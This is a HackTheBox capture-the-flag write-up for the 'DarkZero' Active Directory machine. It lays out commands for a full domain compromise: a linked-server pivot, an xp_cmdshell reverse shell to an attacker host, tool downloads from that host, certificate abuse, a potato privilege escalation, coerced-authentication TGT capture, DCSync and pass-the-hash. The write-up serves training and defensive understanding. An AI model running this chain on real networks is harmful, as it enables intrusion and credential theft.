HTB: DarkZero Writeup
DarkZero - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | DarkZero |
| OS | Windows (Active Directory, dual forest) |
| Difficulty | Hard |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.129.68.98 (DC01, darkzero.htb) → DC02.darkzero.ext (cross-forest pivot) |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐⭐☆ (4/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
DarkZero is an assumed-breach Active Directory box that starts with valid low-privileged credentials (darkzero.htb\john.w) and builds an entire attack chain around AD trust misconfigurations rather than a single memorable CVE. A misconfigured cross-domain MSSQL linked server lets john.w pivot from DC01 (darkzero.htb) into DC02 (darkzero.ext) as a sysadmin-privileged SQL login, xp_cmdshell gives code execution as the svc_sql service account, and the lack of SeImpersonatePrivilege on that session has to be worked around by abusing SeServiceLogonRight to relogon as a proper Windows service (Logon Type 5). From there, a classic impersonation-potato technique yields NT AUTHORITY\SYSTEM on DC02. The real payoff is the bidirectional forest trust: darkzero.htb has TGT delegation enabled and DC01 runs with Unconstrained Delegation, so forcing DC01$ to authenticate to the now-owned DC02 and capturing its TGT in transit hands over the keys to DCSync the darkzero.htb Administrator and land root on DC01.
TL;DR: john.w creds → MSSQL cross-forest linked server (DC01→DC02) as sysadmin dc01_sql_svc → xp_cmdshell reverse shell as svc_sql (no SeImpersonatePrivilege) → Policy_Backup.inf reveals SeServiceLogonRight → Rubeus tgtdeleg + chisel SOCKS pivot + faketime (8h clock skew) → certipy-ad cert request/auth for svc_sql NT hash → password change → RunasCs/Invoke-RunasCs Logon Type 5 restores SeImpersonatePrivilege → self-compiled SharpEfsPotato → SYSTEM on DC02, user flag → abuse Unconstrained Delegation via xp_dirtree forcing DC01$ to auth to DC02, capture TGT with Rubeus monitor → DCSync darkzero.htb\Administrator → evil-winrm pass-the-hash → root flag on DC01.
Reconnaissance
Port Scanning
# Full TCP port sweep from the jump/pivot host against DC01nmap -Pn -p- --min-rate=2000 -T4 10.129.68.98 -oN /tmp/darkzero_allports.txtResults: The scan profile matched a domain controller — Kerberos (88), DNS (53), LDAP (389/636/3268/3269), SMB (445), WinRM (5985), and notably MSSQL on 1433, confirming this box exposes SQL Server alongside the usual AD services.
Service Enumeration
# Confirm the supplied credentials work against MSSQL and SMBnetexec mssql 10.129.68.98 -d darkzero.htb -u john.w -p 'RFulUtONCOL!'netexec smb 10.129.68.98 -u john.w -p 'RFulUtONCOL!'Both confirmed valid domain credentials for darkzero.htb\john.w against DC01, with MSSQL reachable and NTLM-authenticatable.
Vulnerability Assessment
- MSSQL server reachable with valid low-priv domain creds — worth checking for linked servers, a classic path to privilege escalation via
sp_linkedservers/openqueryabuse. - Presence of a second forest (
darkzero.ext) suggested a cross-forest trust worth enumerating once inside MSSQL.
Initial Foothold
Exploitation Path
1. Enumerate MSSQL linked servers
# Interactively check for linked servers from the john.w SQL sessionecho "enum_links" | impacket-mssqlclient -windows-auth "darkzero.htb/john.w:RFulUtONCOL!@10.129.68.98"This confirmed a cross-forest linked server pointing from DC01 (darkzero.htb) to DC02.darkzero.ext, using a remote login dc01_sql_svc — matching the classic MSSQL linked-server pivot: the link executes queries on the remote server as the mapped remote login, and that login held sysadmin on DC02.
2. Stage payload infrastructure on the jump host
# Serve payloads and catch the reverse shell from a shared jump/pivot hostmkdir -p /tmp/darkzero/wwwpython3 -m http.server 8000 & # serves shell.ps1, Rubeus.exe, RunasCs, SharpEfsPotato.exenc -lnvp 1337 & # catches the PowerShell reverse shell3. Pivot through the linked server and enable xp_cmdshell
-- Pivot from DC01's john.w session into the DC02 sysadmin context via the linked serveruse_link "DC02.darkzero.ext"enable_xp_cmdshellxp_cmdshell powershell -enc <base64-encoded UTF-16LE reverse shell to 10.10.15.68:1337>The base64 payload was a small TCP reverse shell (System.Net.Sockets.TCPClient) generated locally and encoded for powershell -enc, then fed into xp_cmdshell through the use_link context so it executed on DC02, not DC01. Catching it on the nc listener confirmed:
whoamidarkzero-ext\svc_sqlWhy this works: enable_xp_cmdshell is a sysadmin-only stored procedure; because the linked-server context inherited dc01_sql_svc’s sysadmin membership on DC02, xp_cmdshell could be turned on and used for OS command execution even though john.w itself has no privileges on DC02.
4. Confirm the SeImpersonatePrivilege gap
whoami /privUnlike a typical service-spawned shell, this session did not carry SeImpersonatePrivilege — ruling out the usual “potato” privesc until that privilege could be regained.
Privilege Escalation
svc_sql → SYSTEM on DC02
1. Discover SeServiceLogonRight via a leaked policy backup
# C:\Policy_Backup.inf on DC02 contains the exported local security policySelect-String -Path C:\Policy_Backup.inf -Pattern SeServiceLogonRightThis revealed svc_sql was explicitly granted SeServiceLogonRight — meaning it can be logged on via LOGON32_LOGON_SERVICE (Logon Type 5). A service-type logon carries the full privilege set the account is entitled to, including SeImpersonatePrivilege, unlike the interactive/network logon xp_cmdshell had produced.
2. Obtain a delegation TGT and pivot through the boundary
# Upload Rubeus and request a fake-delegation TGT for the current contextiwr -uri http://10.10.15.68:8000/Rubeus.exe -o C:\windows\tasks\Rubeus.exeC:\windows\tasks\Rubeus.exe tgtdeleg /nowrapTo reach DC02’s certificate services and RPC endpoints from the attack host, a chisel reverse SOCKS pivot was established through the DC02 shell, and faketime was used on the attacking side to correct an ~8-hour Kerberos clock skew between the operator’s clock and the domain — Kerberos authentication fails hard outside its default 5-minute skew tolerance, so this was a hard blocker until corrected.
3. Recover svc_sql’s NT hash via certificate authentication
# Convert the delegated TGT and request a certificate as svc_sql through the SOCKS pivotimpacket-ticketConverter svc_sql.kirbi svc_sql.ccacheexport KRB5CCNAME=svc_sql.ccacheproxychains certipy-ad req -u svc_sql -k -no-pass -target DC02.darkzero.ext \ -ca 'darkzero-ext-DC02-CA' -template 'user'
# Use the resulting PFX to authenticate and recover the account's NT hashproxychains certipy-ad auth -pfx svc_sql.pfx -domain darkzero.ext4. Force a known password and regain the service logon
# Change svc_sql's password using the recovered hash (pass-the-hash password change)proxychains impacket-changepasswd -hashes :<svc_sql-nthash> -newhash :<new-nthash> \ 'darkzero.ext/svc_sql'@DC02.darkzero.ext# Restore full service-account privileges with an explicit Logon Type 5Invoke-RunasCs -Username svc_sql -Password '<new-password>' -LogonType 5 -BypassUAC -Command 'whoami /priv'whoami /priv on the resulting session confirmed SeImpersonatePrivilege: Enabled.
5. Impersonation privesc to SYSTEM
# SharpEfsPotato release binaries weren't reachable, so it was built from sourcegit clone https://github.com/bugch3ck/SharpEfsPotato.gitcd SharpEfsPotato/SharpEfsPotatomcs -platform:x64 -out:SharpEfsPotato.exe Options.cs Properties/AssemblyInfo.cs Sw*.cs *.csBuilding with mcs (Mono’s C# compiler, available on the Linux jump host, rather than pulling a prebuilt release) surfaced a String.Split overload mismatch between the Mono BCL and the .NET Framework API the project targeted, which was patched in the source before it would compile cleanly.
# Trigger EfsRpc named-pipe impersonation with SeImpersonatePrivilege now presentC:\windows\tasks\SharpEfsPotato.exe -a '/c powershell -enc <reverse shell to attacker>'Catching the resulting shell confirmed nt authority\system on DC02, and user.txt was read from the Administrator/appropriate desktop path.
Cross-forest: DC02 SYSTEM → darkzero.htb Administrator (DC01)
1. Enumerate the forest trust
The bidirectional darkzero.htb ↔ darkzero.ext trust has TGT delegation enabled, and DC01 (as a domain controller) carries Unconstrained Delegation by default — meaning any service that authenticates to DC01 hands over a fully-usable TGT that can be captured by whoever controls the machine the authentication is directed at.
2. Force DC01$ to authenticate to the now-owned DC02
# On DC02 (as SYSTEM): watch for incoming TGTsC:\windows\tasks\Rubeus.exe monitor /interval:5 /nowrap-- Back on the DC01 MSSQL session as john.w: force SMB auth from the DC01 machine account to DC02xp_dirtree \\DC02.darkzero.ext\C$xp_dirtree makes the SQL Server service account (running as DC01$, unconstrained-delegation-enabled) perform an SMB connection to the attacker-controlled path. Because DC01 has Unconstrained Delegation, its authentication to DC02 hands over DC01$’s TGT to the target — and since the attacker now controls DC02 as SYSTEM, Rubeus monitor sitting there captures it.
3. Use the captured DC01$ TGT for DCSync
Converting the captured TGT to ccache and using it against DC01 allowed DCSync rights to be exercised against darkzero.htb\Administrator (machine accounts of domain controllers effectively carry replication rights), yielding the Administrator’s NT hash.
4. Root via pass-the-hash
# Authenticate as darkzero.htb\Administrator using the DCSync'd hashevil-winrm -i 10.129.68.98 -u Administrator -H <administrator-nthash>This produced an nt authority\system-equivalent Administrator session on DC01, and root.txt was read from the Administrator desktop.
Attack Chain Summary
john.w creds (darkzero.htb) → MSSQL enum_links → cross-forest linked server DC01→DC02 (dc01_sql_svc, sysadmin on DC02) → enable_xp_cmdshell → reverse shell as darkzero-ext\svc_sql (no SeImpersonatePrivilege) → Policy_Backup.inf → svc_sql has SeServiceLogonRight → Rubeus tgtdeleg + chisel reverse SOCKS + faketime (8h skew fix) → certipy-ad cert request/auth → svc_sql NT hash → password change → RunasCs/Invoke-RunasCs Logon Type 5 → SeImpersonatePrivilege restored → self-compiled SharpEfsPotato → NT AUTHORITY\SYSTEM on DC02 → user.txt → xp_dirtree forces DC01$ (Unconstrained Delegation) to auth to DC02 → Rubeus monitor captures DC01$ TGT → DCSync darkzero.htb\Administrator → evil-winrm pass-the-hash → root.txt on DC01Tools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning / service fingerprinting |
netexec | Credential validation against MSSQL/SMB |
impacket-mssqlclient | MSSQL interaction, enum_links, xp_cmdshell |
impacket-ticketConverter | Kirbi → ccache conversion |
impacket-changepasswd | Pass-the-hash password change for svc_sql |
Rubeus | tgtdeleg, TGT monitoring for the delegation abuse |
certipy-ad | Certificate request/auth to recover svc_sql’s NT hash |
chisel | Reverse SOCKS pivot into the darkzero.ext forest |
faketime | Corrected Kerberos clock skew for authentication |
RunasCs / Invoke-RunasCs | Logon Type 5 service logon to regain SeImpersonatePrivilege |
SharpEfsPotato (self-compiled via mcs) | Impersonation privesc to SYSTEM |
evil-winrm | Pass-the-hash WinRM session as Administrator |
Key Learnings
Techniques Practiced
- Cross-forest MSSQL linked-server pivoting and abuse of inherited sysadmin context
- Recovering lost
SeImpersonatePrivilegethroughSeServiceLogonRightand an explicit Logon Type 5 - Kerberos TGT delegation abuse (
tgtdeleg) combined with certificate-based authentication (certipy-ad) to recover credential material - Building offensive tooling from source under Mono when prebuilt release binaries aren’t reachable, including patching a runtime API mismatch
- Forcing machine-account authentication with
xp_dirtreeto abuse Unconstrained Delegation across a bidirectional forest trust - DCSync and pass-the-hash to close out domain compromise
Lessons Learned
- A linked server is a privilege boundary in name only — if the remote login is sysadmin, any principal that can reach the link inherits that sysadmin context on the remote server, regardless of forest boundaries.
- Not every command-shell session carries the privileges its parent service normally would; checking
whoami /privimmediately after gaining execution avoids wasted effort on techniques (like potato exploits) that require privileges not actually present. - Leftover artifacts like an exported
Policy_Backup.infcan leak exactly which logon rights are configured for an account — treat any world-readable policy export as a live source of privilege-escalation leads. - Kerberos is unforgiving about clock skew; when pivoting through jump infrastructure with its own clock, verify and correct skew (
faketime) before troubleshooting what looks like an authentication failure. - Unconstrained Delegation on a domain controller in a bidirectionally-trusted forest is a standing risk: any attacker who controls a target that a delegation-enabled account can be coerced into authenticating to can capture a fully-privileged TGT, collapsing the trust boundary between forests.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- 0xEr3bus, “DarkZero” HackTheBox writeup (21 Feb 2026) — used for conceptual context on the MSSQL cross-domain linked-server trust chain, the
SeServiceLogonRight/Logon Type 5 privilege-recovery technique, and the Unconstrained Delegation / TGT-capture mechanism abused for the cross-forest DCSync.